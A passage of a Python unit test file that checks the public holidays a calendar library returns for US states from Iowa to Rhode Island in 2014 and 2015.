self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
self.assertIn(date(2015, 12, 24), holidays)
class IowaTest(GenericCalendarTest):
cal_class = Iowa
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class KansasTest(GenericCalendarTest):
cal_class = Kansas
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 24), holidays)
self.assertIn(date(2014, 12, 25), holidays)
self.assertIn(date(2014, 12, 26), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 24), holidays)
self.assertIn(date(2015, 12, 25), holidays)
self.assertIn(date(2015, 12, 26), holidays)
class KentuckyTest(GenericCalendarTest):
cal_class = Kentucky
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
self.assertIn(date(2014, 12, 26), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
self.assertIn(date(2015, 12, 26), holidays)
class LouisianaTest(GenericCalendarTest):
cal_class = Louisiana
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 3, 4), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 17), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class MaineTest(GenericCalendarTest):
cal_class = Maine
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 4, 21), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 4, 20), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class MarylandTest(GenericCalendarTest):
cal_class = Maryland
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class MassachusettsTest(GenericCalendarTest):
cal_class = Massachusetts
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 4, 21), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 4, 20), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class MichiganTest(GenericCalendarTest):
cal_class = Michigan
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 24), holidays)
self.assertIn(date(2014, 12, 25), holidays)
self.assertIn(date(2014, 12, 31), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 24), holidays)
self.assertIn(date(2015, 12, 25), holidays)
self.assertIn(date(2015, 12, 31), holidays)
class MinnesotaTest(GenericCalendarTest):
cal_class = Minnesota
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class MississippiTest(GenericCalendarTest):
cal_class = Mississippi
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 4, 28), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 4, 27), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class MissouriTest(GenericCalendarTest):
cal_class = Missouri
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 12), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 8), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 8), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class MontanaTest(GenericCalendarTest):
cal_class = Montana
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class NebraskaTest(GenericCalendarTest):
cal_class = Nebraska
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 4, 25), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 4, 24), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class NevadaTest(GenericCalendarTest):
cal_class = Nevada
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 31), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 30), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class NewHampshireTest(GenericCalendarTest):
cal_class = NewHampshire
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class NewJerseyTest(GenericCalendarTest):
cal_class = NewJersey
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class NewMexicoTest(GenericCalendarTest):
cal_class = NewMexico
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class NewYorkTest(GenericCalendarTest):
cal_class = NewYork
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 12), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 12), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class NorthCarolinaTest(GenericCalendarTest):
cal_class = NorthCarolina
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 24), holidays)
self.assertIn(date(2014, 12, 25), holidays)
self.assertIn(date(2014, 12, 26), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 24), holidays)
self.assertIn(date(2015, 12, 25), holidays)
self.assertIn(date(2015, 12, 26), holidays)
class NorthDakotaTest(GenericCalendarTest):
cal_class = NorthDakota
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class OhioTest(GenericCalendarTest):
cal_class = Ohio
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 1), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 1), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class OklahomaTest(GenericCalendarTest):
cal_class = Oklahoma
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 24), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 24), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class OregonTest(GenericCalendarTest):
cal_class = Oregon
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class Pennsylvania(GenericCalendarTest):
cal_class = Pennsylvania
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class RhodeIslandTest(GenericCalendarTest):
cal_class = RhodeIsland
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 8, 11), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 8, 10), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class SouthCarolinaTest(GenericCalendarTest):
cal_class = SouthCarolina
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
